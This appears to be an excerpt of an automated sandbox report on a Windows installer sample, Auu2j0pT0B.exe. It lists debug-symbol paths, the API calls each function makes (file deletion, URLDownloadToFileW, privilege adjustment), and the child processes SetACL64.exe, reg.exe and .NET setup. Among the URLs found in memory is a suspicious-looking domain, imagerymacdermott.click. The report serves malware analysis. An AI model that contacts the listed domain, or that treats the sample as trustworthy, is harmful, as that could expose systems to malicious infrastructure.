Source: Binary string: D:\Projects\DownloadFile\DownloadFile\obj\Release\DownloadFile.pdb source: acxxtzcogvgr.exe.0.dr
Source: Binary string: SetupResources.pdb source: dotNetFx40_Full_setup.exe, 00000006.00000003.2053343550.000000000407B000.00000004.00000020.00020000.00000000.sdmp, dotNetFx45_Full_setup.exe, 00000008.00000003.2128530488.00000000040B0000.00000004.00000020.00020000.00000000.sdmp, SetupResources.dll2.6.dr, SetupResources.dll16.6.dr, SetupResources.dll22.6.dr, SetupResources.dll6.8.dr, SetupResources.dll8.8.dr, SetupResources.dll3.6.dr, SetupResources.dll23.6.dr, SetupResources.dll8.6.dr, SetupResources.dll5.8.dr, SetupResources.dll10.6.dr, SetupResources.dll13.6.dr, SetupResources.dll17.6.dr, SetupResources.dll16.8.dr, SetupResources.dll17.8.dr, SetupResources.dll5.6.dr, SetupResources.dll18.8.dr, SetupResources.dll20.8.dr, SetupResources.dll7.8.dr, SetupResources.dll9.6.dr, SetupResources.dll0.8.dr, SetupResources.dll12.6.dr, SetupResources.dll1.6.dr, SetupResources.dll19.8.dr, SetupResources.dll20.6.dr, SetupResources.dll6.6.dr, SetupResources.dll22.8.dr, SetupResources.dll21.6.dr, SetupResources.dll15.8.dr, SetupResources.dll7.6.dr, SetupResources.dll13.8.dr, SetupResources.dll1.8.dr, SetupResources.dll10.8.dr, SetupResources.dll11.6.dr, SetupResources.dll18.6.dr, SetupResources.dll4.8.dr, SetupResources.dll21.8.dr, SetupResources.dll2.8.dr, SetupResources.dll9.8.dr, SetupResources.dll15.6.dr, SetupResources.dll19.6.dr, SetupResources.dll11.8.dr, SetupResources.dll3.8.dr, SetupResources.dll0.6.dr, SetupResources.dll.8.dr
Source: Binary string: SetupUi.pdb source: dotNetFx40_Full_setup.exe, 00000006.00000003.2053343550.000000000407B000.00000004.00000020.00020000.00000000.sdmp, dotNetFx45_Full_setup.exe, 00000008.00000003.2128530488.00000000040B0000.00000004.00000020.00020000.00000000.sdmp, SetupUi.dll.8.dr
Source: Binary string: D:\Code\SetACL3\Source\SetACL.exe\x64\Release\SetACL.pdb source: SetACL64.exe, 0000000D.00000002.2223566040.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 0000000D.00000000.2221181476.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000000.2226030491.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000002.2228718277.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000002.2230297262.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000000.2229272189.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000000.2230845676.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000002.2231860938.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000000.2232291589.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000002.2233290278.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000002.2234949635.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000000.2233742600.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000002.2236486391.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000000.2235471704.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000002.2238173796.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000000.2236972478.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe.0.dr
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_004068D4 FindFirstFileW,FindClose,0_2_004068D4
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405C83
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_00402930 FindFirstFileW,0_2_00402930
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AD92BB GetFileAttributesW,GetLastError,SetFileAttributesW,SetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,GetLastError,DeleteFileW,GetLastError,FindNextFileW,GetLastError,FindClose,RemoveDirectoryW,GetLastError,6_2_00AD92BB
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00ADA7B1 FindFirstFileW,GetLastError,FindNextFileW,CloseHandle,FindClose,6_2_00ADA7B1
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CB95B82 __EH_prolog3_GS,_memset,FindFirstFileW,FindNextFileW,FindClose,7_2_6CB95B82
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CB9410A FindFirstFileW,GetFullPathNameW,SetLastError,_wcsrchr,_wcsrchr,7_2_6CB9410A
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6E0C4281 memset,EnterCriticalSection,FindFirstFileW,LeaveCriticalSection,ctype,FindNextFileW,FindClose,ResetEvent,CreateThread,CloseHandle,GetLastError,7_2_6E0C4281
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6E0D8097 memset,memset,FindFirstFileW,DeleteFileW,GetLastError,FindNextFileW,FindClose,7_2_6E0D8097
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DC99A9 GetFileAttributesW,GetLastError,SetFileAttributesW,SetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,GetLastError,DeleteFileW,GetLastError,FindNextFileW,GetLastError,FindClose,RemoveDirectoryW,GetLastError,8_2_00DC99A9
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DCAD7B FindFirstFileW,GetLastError,FindNextFileW,CloseHandle,FindClose,8_2_00DCAD7B
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C229408 memset,EnterCriticalSection,FindFirstFileW,ctype,FindNextFileW,FindClose,ResetEvent,CloseHandle,CreateThread,GetLastError,LeaveCriticalSection,9_2_6C229408
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C21BE4F memset,memset,FindFirstFileW,DeleteFileW,GetLastError,FindNextFileW,FindClose,9_2_6C21BE4F
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C527AE1 FindFirstFileW,GetFullPathNameW,SetLastError,_wcsrchr,_wcsrchr,9_2_6C527AE1
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C529543 __EH_prolog3_GS,_memset,FindFirstFileW,FindNextFileW,FindClose,9_2_6C529543
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106C96D0 FindFirstFileW,GetLastError,FindNextFileW,FindClose,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,13_2_00007FF7106C96D0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106FC76C _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,13_2_00007FF7106FC76C
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106DCF15 MoveFileExW,FindFirstFileW,GetLastError,FindNextFileW,DeleteFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,13_2_00007FF7106DCF15
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AD774A GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLastError,GetLogicalDriveStringsW,CharUpperW,_wcschr,GetDiskFreeSpaceExW,6_2_00AD774A
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBD4B54 URLDownloadToFileW,7_2_6CBD4B54
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: Setup.exe, 00000007.00000003.2063591978.00000000036EA000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000007.00000003.2094123478.00000000038DA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.mic
Source: Setup.exe, 00000009.00000003.2166723650.0000000003270000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.micr
Source: Setup.exe, 00000007.00000003.2063591978.00000000036E0000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000007.00000003.2094123478.00000000038D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.micro
Source: Setup.exe, 00000007.00000003.2090072354.0000000001470000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000007.00000003.2096221080.00000000037B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.microso
Source: Setup.exe, 00000007.00000003.2083840976.0000000003760000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000007.00000003.2086919711.0000000003790000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.microsoft.c
Source: Auu2j0pT0B.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://ocsp.comodoca.com0
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://ocsp.digicert.com0C
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://ocsp.digicert.com0O
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: http://www.digicert.com/CPS0
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpString found in binary or memory: http://www.imagerymacdermott.click
Source: SetACL64.exe, SetACL64.exe, 0000000D.00000002.2223566040.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 0000000D.00000000.2221181476.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000000.2226030491.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000002.2228718277.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000002.2230297262.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000000.2229272189.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000000.2230845676.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000002.2231860938.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000000.2232291589.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000002.2233290278.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000002.2234949635.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000000.2233742600.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000002.2236486391.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000000.2235471704.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000002.2238173796.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000000.2236972478.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe.0.drString found in binary or memory: https://helgeklein.com
Source: SetACL64.exe, SetACL64.exe, 0000000D.00000002.2223566040.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 0000000D.00000000.2221181476.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000000.2226030491.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000002.2228718277.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000002.2230297262.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000000.2229272189.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000000.2230845676.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000002.2231860938.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000000.2232291589.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000002.2233290278.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000002.2234949635.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000000.2233742600.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000002.2236486391.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000000.2235471704.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000002.2238173796.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000000.2236972478.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe.0.drString found in binary or memory: https://helgeklein.com.
Source: SetACL64.exe, SetACL64.exe, 0000000D.00000002.2223566040.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 0000000D.00000000.2221181476.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000000.2226030491.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000002.2228718277.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000002.2230297262.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000000.2229272189.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000000.2230845676.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000002.2231860938.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000000.2232291589.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000002.2233290278.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000002.2234949635.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000000.2233742600.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000002.2236486391.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000000.2235471704.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000002.2238173796.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000000.2236972478.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe.0.drString found in binary or memory: https://helgeklein.com/setacl/documentation/command-line-version-setacl-exe
Source: Auu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmp, SetACL64.exe.0.drString found in binary or memory: https://www.digicert.com/CPS0
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_0040573B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_0040573B
Source: reg.exeProcess created: 48
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C22059F memset,RegOpenKeyExW,RegQueryInfoKeyW,NtQuerySystemTime,RegEnumValueW,RegDeleteValueW,RegCloseKey,9_2_6C22059F
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C21E3C6 NtQuerySystemTime,9_2_6C21E3C6
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AD7A0A: GetDriveTypeW,SetErrorMode,SetErrorMode,SetErrorMode,CreateFileW,DeviceIoControl,CloseHandle,SetErrorMode,6_2_00AD7A0A
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,CoUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403552
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBB4E0D ExitWindowsEx,7_2_6CBB4E0D
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C54BB26 ExitWindowsEx,9_2_6C54BB26
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_00406DE60_2_00406DE6
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_004075BD0_2_004075BD
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AE30496_2_00AE3049
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AE20566_2_00AE2056
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00ADF9FE6_2_00ADF9FE
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AE42526_2_00AE4252
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AE0BD06_2_00AE0BD0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AE73D86_2_00AE73D8
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AE630E6_2_00AE630E
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CB8F7907_2_6CB8F790
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBE9F127_2_6CBE9F12
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBEA9BE7_2_6CBEA9BE
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBCE49E7_2_6CBCE49E
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBEA4687_2_6CBEA468
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBEC65E7_2_6CBEC65E
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBEB09F7_2_6CBEB09F
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBEC00B7_2_6CBEC00B
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6E0C9A507_2_6E0C9A50
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6E0DD81C7_2_6E0DD81C
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6E0DD0647_2_6E0DD064
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DD10F68_2_00DD10F6
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DD34F38_2_00DD34F3
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DD252E8_2_00DD252E
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DD46D68_2_00DD46D6
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DCFF268_2_00DCFF26
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DD782B8_2_00DD782B
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DD67698_2_00DD6769
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C234C599_2_6C234C59
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C23A64F9_2_6C23A64F
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C2397409_2_6C239740
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C234FE59_2_6C234FE5
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C2379589_2_6C237958
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C23A1BE9_2_6C23A1BE
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C23721D9_2_6C23721D
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C239A6C9_2_6C239A6C
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C23AA529_2_6C23AA52
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C23237E9_2_6C23237E
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C589CAB9_2_6C589CAB
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C588D3F9_2_6C588D3F
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C587BB29_2_6C587BB2
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C5694B69_2_6C5694B6
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C5835F09_2_6C5835F0
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C58865E9_2_6C58865E
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C5230B89_2_6C5230B8
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C5881089_2_6C588108
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C58A2FE9_2_6C58A2FE
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106EC28F13_2_00007FF7106EC28F
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106CA35013_2_00007FF7106CA350
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106A13F013_2_00007FF7106A13F0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106E94BC13_2_00007FF7106E94BC
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106DE4B013_2_00007FF7106DE4B0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106D6B2A13_2_00007FF7106D6B2A
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106CBC4013_2_00007FF7106CBC40
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106DC25013_2_00007FF7106DC250
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106F421813_2_00007FF7106F4218
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106EF39413_2_00007FF7106EF394
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106D836013_2_00007FF7106D8360
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106FA31C13_2_00007FF7106FA31C
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106F341013_2_00007FF7106F3410
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106B63E013_2_00007FF7106B63E0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106B758013_2_00007FF7106B7580
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106CE53013_2_00007FF7106CE530
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106AF65013_2_00007FF7106AF650
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106DA63013_2_00007FF7106DA630
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106F669C13_2_00007FF7106F669C
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106FC76C13_2_00007FF7106FC76C
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106FB74C13_2_00007FF7106FB74C
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106F971813_2_00007FF7106F9718
